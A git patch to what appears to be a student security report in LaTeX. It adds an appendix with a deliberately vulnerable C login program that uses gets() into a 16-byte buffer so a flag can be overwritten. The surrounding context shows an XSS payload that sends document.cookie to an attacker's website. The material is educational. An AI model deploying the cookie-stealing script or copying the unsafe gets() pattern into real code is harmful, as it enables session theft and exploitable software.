From ee0bd3f7716546f679bd390d7b681fedf949b2fb Mon Sep 17 00:00:00 2001
From: Marcin Zelent <zelent.marcin@gmail.com>
Date: Wed, 30 May 2018 18:27:51 +0200
Subject: Added buffer overflow example

---
 synopsis.tex | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

(limited to 'synopsis.tex')

diff --git a/synopsis.tex b/synopsis.tex
index e844895..9c115c8 100644
--- a/synopsis.tex
+++ b/synopsis.tex
@@ -740,5 +740,31 @@ INSERT INTO Comments VALUES('attacker','hello
 <script>document.createElement("img").src =
 "http://attackerswebsite.com/" + document.cookie</script>');
 \end{minted}
+\newpage
+
+\appendix
+\section{Buffer overflow example}
+
+\subsection{buffer-overflow.c}
+\begin{minted}{c}
+#include <stdio.h>
+#include <string.h>
+
+int main(void)
+{
+	char buf[16];
+	int ok = 0;
+
+	printf("Type admin password: \n");
+	gets(buf);
+
+	if (strcmp(buf, "pass123")) printf("\nWrong password!\n");
+	else ok = 1;
+
+	if (ok) printf("\nLogged in as admin.\n");
+
+	return 0;
+}
+\end{minted}
 
 \end{document}
-- 
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